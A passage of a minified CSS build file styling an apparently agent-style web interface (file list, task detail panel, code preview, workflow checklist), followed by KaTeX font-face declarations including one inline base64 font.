ease}.qd-file-item:hover,.qd-file-item.is-active{background:var(--hover-bg)}.qd-file-name{flex:1;min-width:0;font-size:13px;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.qd-detail{position:fixed;top:20px;right:306px;width:480px;max-width:calc(100vw - 360px);height:460px;max-height:calc(100vh - 40px);background:var(--surface-raised);border:1px solid var(--border-default);border-radius:12px;box-shadow:var(--shadow-card);display:flex;flex-direction:column;overflow:hidden;z-index:90}.qd-detail.panel-enter{animation:qd-panel-in .24s var(--qd-ease-out)}@keyframes qd-panel-in{0%{opacity:0;transform:translate(12px)}to{opacity:1;transform:translate(0)}}.qd-detail.panel-leave{animation:qd-panel-out .18s ease-in forwards}@keyframes qd-panel-out{to{opacity:0;transform:translate(8px)}}.qd-detail__header{flex:none;height:42px;display:flex;align-items:center;gap:8px;padding:0 12px;border-bottom:1px solid var(--border-default)}.qd-detail__dot{flex:none;width:7px;height:7px;border-radius:50%;background:var(--text-tertiary)}.qd-detail__dot.is-running{background:var(--state-info);animation:qd-status-pulse 1.6s ease-in-out infinite}.qd-detail__dot.is-idle{background:var(--text-secondary)}.qd-detail__dot.is-done{background:var(--state-success)}.qd-detail__dot.is-ended{background:var(--state-danger)}.qd-detail__title{font-size:13px;font-weight:600;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;min-width:0}.qd-detail__badge{flex:none;font-size:11px;line-height:1;padding:4px 8px;border-radius:99px;background:var(--surface-soft);color:var(--text-tertiary)}.qd-detail__badge.is-running{background:color-mix(in srgb,var(--state-info) 14%,transparent);color:var(--state-info)}.qd-detail__badge.is-idle{background:var(--surface-soft);color:var(--text-secondary)}.qd-detail__badge.is-done{background:color-mix(in srgb,var(--state-success) 14%,transparent);color:var(--state-success)}.qd-detail__badge.is-ended{background:color-mix(in srgb,var(--state-danger) 14%,transparent);color:var(--state-danger)}.qd-detail__tokens{flex:none;font-size:11px;line-height:1;color:var(--text-tertiary);font-variant-numeric:tabular-nums;white-space:nowrap}.qd-detail__close{flex:none;margin-left:auto;width:26px;height:26px;display:flex;align-items:center;justify-content:center;padding:0;background:none;border:none;border-radius:6px;color:var(--text-tertiary);cursor:pointer;transition:background .12s ease,color .12s ease}.qd-detail__close svg{width:13px;height:13px}.qd-detail__close:hover{background:var(--tab-active);color:var(--text-secondary)}.qd-detail__body{flex:1;overflow-y:auto;padding:6px 0 10px;scrollbar-width:none;-ms-overflow-style:none}.qd-detail__body::-webkit-scrollbar{display:none;width:0;height:0}.qd-detail__body.body-fade{animation:qd-body-fade-in .18s ease-out}@keyframes qd-body-fade-in{0%{opacity:0}to{opacity:1}}.qd-detail__empty{padding:18px 14px;font-size:12.5px;color:var(--text-tertiary)}.qd-feed-row{display:flex;align-items:center;gap:8px;padding:0 14px;min-height:28px;font-size:12.5px}.qd-feed-row.is-new{animation:qd-feed-in .25s var(--qd-ease-out)}@keyframes qd-feed-in{0%{opacity:0;transform:translateY(5px)}to{opacity:1;transform:translateY(0)}}.qd-feed-row.feed-text{align-items:flex-start;margin:3px 10px;padding:6px 8px;background:var(--surface-soft);border-radius:8px;color:var(--text-secondary);line-height:1.55;white-space:pre-wrap;word-break:break-word}.qd-feed-row.feed-tool .tool-name{font-family:ui-monospace,SF Mono,Menlo,monospace;font-size:12px;color:var(--text-primary);flex:none}.qd-feed-row.feed-tool .tool-param{color:var(--text-tertiary);font-size:12px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;min-width:0}.qd-feed-row.feed-tool .tool-result{flex:none;margin-left:auto;font-size:11.5px;color:var(--text-tertiary);font-variant-numeric:tabular-nums}.qd-feed-row.feed-tool .tool-result.is-error{color:var(--state-danger)}.qd-tool-spinner{flex:none;width:11px;height:11px;border-radius:50%;border:1.5px solid var(--border-strong);border-top-color:var(--accent);animation:qd-tool-spin .7s linear infinite}@keyframes qd-tool-spin{to{transform:rotate(360deg)}}.qd-tool-done{flex:none;width:11px;text-align:center;font-size:11px;color:var(--accent)}.qd-feed-row.feed-term{font-family:ui-monospace,SF Mono,Menlo,monospace;font-size:12px;color:var(--text-secondary);white-space:pre-wrap;word-break:break-all;min-height:24px}.qd-feed-row.feed-killed{color:var(--state-danger)}.qd-preview{flex:none;width:452px;max-width:calc(100vw - 200px);padding:20px 12px 20px 0;box-sizing:border-box;display:flex;flex-direction:column;min-height:0;position:relative}.qd-preview__resize{position:absolute;top:0;bottom:0;left:-5px;width:10px;cursor:col-resize;z-index:5}.qd-preview__resize:after{content:"";position:absolute;top:20px;bottom:20px;left:3px;width:4px;border-radius:999px;background:transparent;transition:background .2s}.qd-preview__resize:hover:after,.qd-preview__resize:active:after{background:color-mix(in srgb,var(--accent) 24%,transparent)}.qd-preview__panel{flex:1;min-height:0;background:var(--surface-raised);border:1px solid var(--border-default);border-radius:12px;box-shadow:var(--shadow-card);display:flex;flex-direction:column;overflow:hidden}.qd-preview-slide-enter-active,.qd-preview-slide-leave-active{transition:width .24s ease,padding .24s ease,opacity .2s ease,transform .24s var(--qd-ease-out);overflow:hidden}.qd-preview-slide-enter-from,.qd-preview-slide-leave-to{width:0!important;padding-right:0!important;opacity:0;transform:translate(24px)}.qd-preview__header{flex:none;height:44px;display:flex;align-items:center;gap:8px;padding:0 14px;border-bottom:1px solid var(--border-default)}.qd-preview__header>svg{flex:none;width:15px;height:15px;color:var(--accent)}.qd-preview__name{flex:none;max-width:45%;font-size:13px;font-weight:600;font-family:ui-monospace,SF Mono,Menlo,monospace;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.qd-preview__path{flex:1;min-width:0;font-size:11.5px;font-family:ui-monospace,SF Mono,Menlo,monospace;color:var(--text-tertiary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.qd-preview__close{flex:none;width:26px;height:26px;display:flex;align-items:center;justify-content:center;padding:0;background:none;border:none;border-radius:6px;color:var(--text-tertiary);cursor:pointer;transition:background .12s ease,color .12s ease}.qd-preview__close svg{width:13px;height:13px}.qd-preview__close:hover{background:var(--tab-active);color:var(--text-secondary)}.qd-preview__body{flex:1;overflow:auto;padding:8px 0 12px;scrollbar-width:none;-ms-overflow-style:none}.qd-preview__body::-webkit-scrollbar{display:none;width:0;height:0}.qd-preview__loading,.qd-preview__error{padding:18px 14px;font-size:12.5px;color:var(--text-tertiary)}.qd-preview__error{color:var(--state-danger)}.qd-code{position:relative;display:flex;align-items:flex-start;width:max-content;min-width:100%;font-family:ui-monospace,SF Mono,Menlo,monospace;font-size:12px;line-height:1.75}.qd-code-hoverline{position:absolute;left:0;right:0;height:21px;background:var(--hover-bg);pointer-events:none}.qd-code-gutter{position:relative;z-index:1;flex:none;width:44px;padding-right:12px;box-sizing:border-box;text-align:right;color:var(--text-tertiary);-webkit-user-select:none;user-select:none}.qd-code-gutter span{display:block}.qd-code-pre{position:relative;z-index:1;flex:1;min-width:0;margin:0;padding-right:14px;font:inherit;white-space:pre;color:var(--text-primary)}.qd-code--wrap{display:block;width:100%}.qd-code-line{display:flex;align-items:flex-start;min-height:21px;content-visibility:auto;contain-intrinsic-width:none;contain-intrinsic-height:auto 21px}.qd-code-line:hover{background:var(--hover-bg)}.qd-code-line-no{flex:none;width:44px;padding-right:12px;box-sizing:border-box;text-align:right;color:var(--text-tertiary);-webkit-user-select:none;user-select:none}.qd-code-line-text{flex:1;min-width:0;padding-right:14px;white-space:pre-wrap;overflow-wrap:anywhere;color:var(--text-primary)}.qd-menu{position:fixed;z-index:300;min-width:116px;padding:4px;background:var(--surface-raised);border:1px solid var(--border-default);border-radius:8px;box-shadow:var(--shadow-card)}.qd-menu.menu-enter{animation:qd-menu-in .16s ease-out}@keyframes qd-menu-in{0%{opacity:0;transform:translateY(-3px) scale(.97)}to{opacity:1;transform:translateY(0) scale(1)}}.qd-menu__item{display:flex;align-items:center;width:100%;height:30px;padding:0 10px;background:none;border:none;border-radius:5px;font-size:12.5px;text-align:left;color:var(--text-primary);cursor:pointer;transition:background .12s ease}.qd-menu__item:hover:not(:disabled){background:var(--surface-soft)}.qd-menu__item--danger{color:var(--state-danger)}.qd-menu__item--danger:hover:not(:disabled){background:color-mix(in srgb,var(--state-danger) 8%,transparent)}.qd-menu__item:disabled{color:var(--text-tertiary);cursor:default}.qd-toggle-anchor{flex:none;width:0;position:relative;overflow:visible;z-index:70}.qd-toggle{position:absolute;top:8px;right:16px;width:28px;height:28px;display:flex;align-items:center;justify-content:center;padding:0;color:var(--text-primary);background:var(--surface-panel);border:none;border-radius:8px;cursor:pointer}.qd-toggle svg line{stroke:currentColor;stroke-width:1.8;stroke-linecap:round}.wf-viewport{height:calc(var(--qd-row-h) * 3);overflow-y:auto;scrollbar-width:none;-ms-overflow-style:none}.wf-viewport::-webkit-scrollbar{display:none;width:0;height:0}.wf-list{list-style:none;margin:0;padding:0;min-height:100%;display:flex;flex-direction:column}.wf-row{flex:none;height:var(--qd-row-h);display:flex;align-items:center;gap:9px;padding:0 12px;overflow:hidden;-webkit-user-select:none;user-select:none}.wf-row__dot{flex:none;width:6px;height:6px;border-radius:50%;border:1.5px solid var(--text-tertiary);background:transparent;transition:background .2s ease,border-color .2s ease}.wf-row__name{position:relative;flex:1;min-width:0;font-size:13px;line-height:1.4;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;transition:color .22s ease .12s}.wf-row__meta{flex:none;display:flex;align-items:center;gap:5px;font-size:11px;color:var(--text-tertiary);font-variant-numeric:tabular-nums;white-space:nowrap}.wf-row.is-done .wf-row__dot{background:var(--accent);border-color:var(--accent)}.wf-row.is-done .wf-row__name{color:var(--text-tertiary)}.wf-row__name:after{content:"";position:absolute;left:-1px;right:-1px;top:50%;height:1.5px;margin-top:-.75px;background:var(--text-tertiary);border-radius:1px;transform:scaleX(0);transform-origin:left center;pointer-events:none}.wf-row.is-done .wf-row__name:after{transform:scaleX(1)}.wf-row.is-just-done .wf-row__name:after{animation:wf-strike-in .28s var(--qd-ease-strike) forwards}@keyframes wf-strike-in{0%{transform:scaleX(0)}to{transform:scaleX(1)}}.wf-row.is-just-done .wf-row__dot{animation:wf-dot-pop .32s var(--qd-ease-out)}@keyframes wf-dot-pop{0%{transform:scale(1)}45%{transform:scale(1.6)}to{transform:scale(1)}}.wf-row.is-current .wf-row__dot{border:none;width:7px;height:7px;background:var(--state-info);animation:wf-pulse 1.6s ease-in-out infinite}@keyframes wf-pulse{0%,to{opacity:1;transform:scale(1)}50%{opacity:.35;transform:scale(.85)}}.wf-row.is-current .wf-row__name{font-weight:500}.wf-row.is-reviewing .wf-row__dot{background:var(--accent)}.wf-spinner{width:11px;height:11px;border-radius:50%;border:1.5px solid var(--border-strong);border-top-color:var(--accent);animation:wf-spin .7s linear infinite}@keyframes wf-spin{to{transform:rotate(360deg)}}.wf-row.is-next .wf-row__name{color:var(--text-tertiary)}.wf-row.is-reviving .wf-row__name{color:var(--text-primary);transition:color .22s ease}.wf-row.is-reviving .wf-row__name:after{transform:scaleX(1);transform-origin:right center;animation:wf-strike-out .28s var(--qd-ease-strike) forwards}@keyframes wf-strike-out{0%{transform:scaleX(1)}to{transform:scaleX(0)}}.wf-row.is-reject-flash{animation:wf-reject-flash .62s ease-in-out}@keyframes wf-reject-flash{0%,to{background:transparent}25%,70%{background:color-mix(in srgb,var(--state-danger) 12%,transparent)}}.wf-row.is-reject-flash .wf-row__dot{animation:none;background:var(--state-danger)}.wf-row.is-entering{animation:wf-row-in .3s var(--qd-ease-out) backwards}@keyframes wf-row-in{0%{opacity:0;transform:translateY(6px)}to{opacity:1;transform:translateY(0)}}.wf-row.is-leaving{animation:wf-row-out-down .24s ease-in forwards}@keyframes wf-row-out-down{0%{opacity:1}to{opacity:0;transform:translateY(8px);height:0}}.wf-footnote{border-top:1px solid var(--border-default);height:30px;display:flex;align-items:center;gap:6px;padding:0 12px;font-size:11.5px;color:var(--text-tertiary);-webkit-user-select:none;user-select:none;overflow:hidden;white-space:nowrap}.wf-footnote__dot{flex:none;width:6px;height:6px;border-radius:50%}.wf-footnote--info .wf-footnote__dot{background:var(--state-info);animation:wf-pulse 1.6s ease-in-out infinite}.wf-footnote--danger{color:var(--state-danger)}.wf-footnote--danger .wf-footnote__dot{background:var(--state-danger)}.wf-footnote--success .wf-footnote__dot{background:var(--state-success)}.wf-footnote.is-entering{animation:wf-footnote-in .24s ease-out}@keyframes wf-footnote-in{0%{opacity:0;transform:translateY(4px)}to{opacity:1;transform:translateY(0)}}.wf-footnote__text{min-width:0;overflow:hidden;text-overflow:ellipsis}@font-face{font-display:block;font-family:KaTeX_AMS;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_AMS-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_AMS-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_AMS-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Caligraphic;font-style:normal;font-weight:700;src:url(/static/dist/assets/KaTeX_Caligraphic-Bold.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Caligraphic-Bold.woff) format("woff"),url(/static/dist/assets/KaTeX_Caligraphic-Bold.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Caligraphic;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_Caligraphic-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Caligraphic-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Caligraphic-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Fraktur;font-style:normal;font-weight:700;src:url(/static/dist/assets/KaTeX_Fraktur-Bold.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Fraktur-Bold.woff) format("woff"),url(/static/dist/assets/KaTeX_Fraktur-Bold.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Fraktur;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_Fraktur-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Fraktur-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Fraktur-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Main;font-style:normal;font-weight:700;src:url(/static/dist/assets/KaTeX_Main-Bold.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Main-Bold.woff) format("woff"),url(/static/dist/assets/KaTeX_Main-Bold.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Main;font-style:italic;font-weight:700;src:url(/static/dist/assets/KaTeX_Main-BoldItalic.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Main-BoldItalic.woff) format("woff"),url(/static/dist/assets/KaTeX_Main-BoldItalic.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Main;font-style:italic;font-weight:400;src:url(/static/dist/assets/KaTeX_Main-Italic.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Main-Italic.woff) format("woff"),url(/static/dist/assets/KaTeX_Main-Italic.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Main;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_Main-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Main-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Main-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Math;font-style:italic;font-weight:700;src:url(/static/dist/assets/KaTeX_Math-BoldItalic.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Math-BoldItalic.woff) format("woff"),url(/static/dist/assets/KaTeX_Math-BoldItalic.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Math;font-style:italic;font-weight:400;src:url(/static/dist/assets/KaTeX_Math-Italic.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Math-Italic.woff) format("woff"),url(/static/dist/assets/KaTeX_Math-Italic.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_SansSerif;font-style:normal;font-weight:700;src:url(/static/dist/assets/KaTeX_SansSerif-Bold.woff2) format("woff2"),url(/static/dist/assets/KaTeX_SansSerif-Bold.woff) format("woff"),url(/static/dist/assets/KaTeX_SansSerif-Bold.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_SansSerif;font-style:italic;font-weight:400;src:url(/static/dist/assets/KaTeX_SansSerif-Italic.woff2) format("woff2"),url(/static/dist/assets/KaTeX_SansSerif-Italic.woff) format("woff"),url(/static/dist/assets/KaTeX_SansSerif-Italic.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_SansSerif;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_SansSerif-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_SansSerif-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_SansSerif-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Script;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_Script-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Script-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Script-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Size1;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_Size1-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Size1-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Size1-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Size2;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_Size2-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Size2-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Size2-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Size3;font-style:normal;font-weight:400;src:url(data:font/woff2;base64,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) format("woff2"),url(/static/dist/assets/KaTeX_Size3-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Size3-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Size4;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_Size4-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Size4-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Size4-Regular.ttf) format("truetype")}@font-face{font-display:block;font-family:KaTeX_Typewriter;font-style:normal;font-weight:400;src:url(/static/dist/assets/KaTeX_Typewriter-Regular.woff2) format("woff2"),url(/static/dist/assets/KaTeX_Typewriter-Regular.woff) format("woff"),url(/static/dist/assets/KaTeX_Typewriter-Regular.ttf) format("truetype")}.katex{font: 1.21em KaTeX_Main,Times New Roman,serif;line-height:1.2;position:relative;text-indent:0;text-rendering:auto}.katex *{-ms-high-contrast-adjust:none!important;border-color:currentColor}.katex .katex-version:after{content:"0.16.47"}.katex .katex-mathml{border:0;-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;overflow:hidden;padding:0;position:absolute;width:1px}.katex .katex-html>.newline{display:block}.katex .base{position:relative;white-space:nowrap;width:-webkit-min-content;width:-moz-min-content;width:min-content}.katex .base,.katex .strut{display:inline-block}.katex .textbf{font-weight:700}.katex .textit{font-style:italic}.katex .textrm{font-family:KaTeX_Main}.katex .textsf{font-family:KaTeX_SansSerif}.katex .texttt{font-family:KaTeX_Typewriter}.katex .mathnormal{font-family:KaTeX_Math;font-style:italic}.katex .mathit{font-family:KaTeX_Main;font-style:italic}.katex .mathrm{font-style:normal}.katex .mathbf{font-family:KaTeX_Main;font-weight:700}.katex .boldsymbol{font-family:KaTeX_Math;font-style:italic;font-weight:700}.katex .amsrm,.katex .mathbb,.katex .textbb{font-family:KaTeX_AMS}.katex .mathcal{font-family:KaTeX_Caligraphic}.katex .mathfrak,.katex .textfrak{font-family:KaTeX_Fraktur}.katex .mathboldfrak,.katex .textboldfrak{font-family:KaTeX_Fraktur;font-weight:700}.katex .mathtt{font-family:KaTeX_Typewriter}.katex .mathscr,.katex .textscr{font-family:KaTeX_Script}.katex .mathsf,.katex .textsf{font-family:KaTeX_SansSerif}.katex .mathboldsf,.katex .textboldsf{font-family:KaTeX_SansSerif;font-weight:700}.katex .mathitsf,.katex .mathsfit,.katex .textitsf{font-family:KaTeX_SansSerif;font-style:italic}.katex .mainrm{font-family:KaTeX_Main;font-style:normal}.katex .vlist-t{border-collapse:collapse;display:inline-table;table-layout:fixed}.katex .vlist-r{display:table-row}.katex .vlist{display:table-cell;position:relative;vertical-align:bottom}.katex .vlist>span{display:block;height:0;position:relative}.katex .vlist>span>span{display:inline-block}.katex .vlist>span>.pstrut{overflow:hidden;width:0}.katex .vlist-t2{margin-right:-2px}.katex .vlist-s{display:table-cell;font-size:1px;min-width:2px;vertical-align:bottom;width:2px}.katex .vbox{align-items:baseline;display:inline-flex;flex-direction:column}.katex 